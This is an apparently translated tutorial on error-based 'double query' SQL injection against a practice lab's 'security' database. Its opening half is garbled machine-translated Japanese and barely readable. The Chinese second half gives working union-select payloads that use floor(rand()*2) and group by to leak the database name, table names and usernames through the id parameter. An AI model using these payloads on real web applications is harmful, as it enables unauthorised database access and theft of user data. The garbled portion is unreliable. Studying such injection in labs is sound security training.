最初の入力ID = 1、ID = 1「が与えられていない、(以下に示す).....あなたはしているが示されました
実行が正常に結果を返す場合、我々はあなたがしている場合にのみ返され、チャートから見ることができます...、私たちは以前の少ない-4の前にメソッドを使用することはできませんので、情報データベースを返しません。
そして、ID = 888を入力し、あなたはビットが表示されない、以下のようなページを見ることができ、併せてクエリで使用することはできません。
以下に示すようにその後、我々は入力のid = 2」、与えられたSQL文のページが表示されますが、ここでは、新たな注入方法を使用することができます与えられた注入
まず、ここではまず、SQL言語を理解します:
連結を選択する(())(データベースの選択)。
サブクエリで始まるリアルタイムの実行、。したがって、選択したデータベースの実装では、()この文は、現在置くのデータベースをチェックアウトし、その結果はconcat関数に渡されました。この関数は、に接続するために使用されます。例えばCONCAT(「」、「Bの 」) 、結果がABです。
下図のように私たちは、データベースのセキュリティを見ることができ、データベースセキュリティへの、例えば、実装についてはこちらです
その後、我々は、連結の使用をテストします。
入力選択CONCAT(「文字列」、「QAQは」);出力が接続されている引用符の内側に内容を確認することです。
次に、我々はランド乱数関数を使用している、私たちは法律を見つけるためにそれを数回実行する方法をテストしました。
図の結果から分かるように、出力結果はランダムであり、かつ、小数点の前に0〜1です
次の床関数floor()遊び、私たちは、小数点の丸めを入力してください
上記のグラフから、我々は、丸みを帯びた成功を見ることができます!その後、我々は、二重射出クエリの単純な組み合わせを見て
2 *)のrand()関数の出力は、0と1の間でランダムである私たちは、ランド()関数の出力は0と2の間でランダムである場合は、それから、我々は(RANDを書くことができますので、私たちの場合ランド()* 2丸め関数で、出力は0または1でなければなりません。
、我々はしようとするために一緒に働きます
输入セレクト連結((セレクトデータベース())、床(RAND()* 2))。
もっと次試します
由上图我们可以看到输出结果不是security0就是security1。
接下来我们先查询下security数据库中有哪些表。
我们这里以emails表为例
输入select concat((select database()),floor(rand()*2)) from emails;
这里我在后面加了from emails(表名),那么返回结果是security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里emails表里有8个用户,所以返回了8条。
那么我们在后面添加from information_schema.schemata,就会返回6条结果,因为information_schema.schemata这个表里包含了mysql的所有数据库名,有6个数据库即就返回6条结果(如下图所示)
接下来我们可以加上group by语句了,group by是一个用来分组的语句,当然分组的话我们应该要起个组名对吧?那么如果我想实现把information_schema.schemata表里的security0分到一组,security1分到一组,分为两组起名为hh该怎么做呢?
输入:select concat((select database()), floor(rand()*2))as hh from information_schema.schemata group by hh;
由上图可以看到已经展示出来了一个分组,但是information_schema.schemata里面的表的数目没有一个具体的显示以及一个统计,所以我们应该使用聚合函数count(*)
select count(*),concat((select database()), floor(rand()*2))as hh from information_schema.schemata group by hh;
由上图看到,完全就是一个很好的总结,可以很明显的看到security0有4个,security1有2个。
我们也可以查询数据库的版本
可以查询数据库表的用户
现在我们可以开始注入了
尝试爆数据库名称
输入:
id=1' union select null,count(*),concat((select database()),floor(rand()*2))as hh from information_schema.schemata group by hh --+
多刷新几次
爆数据库下的表名称
首先我们输入id=1' union select null,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as hh from information_schema.tables group by hh--+来试试
这里显示了输出结果超过一行,那么我们就应该用到limit了,还记得前面的limit怎么用的嘛?忘记了再倒回去看前面的less-1哦
这里我们输入:
id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as hh from information_schema.tables group by hh--+
好的,从上面我们可以看到把表users1爆出来了,多刷新几次发现爆出来的表,我们就会发现,爆出来的结果要么是users1要么是users0,这不就达到了我们想要的结果了吗?
下面我们就可以来查询users表下面的字段了
输入id=1' union select null,count(*),concat((select username from users limit 3,1),floor(rand()*2))as hh from information_schema.tables group by hh--+
以上就是我们通过报错注入来实现我们想要的东西~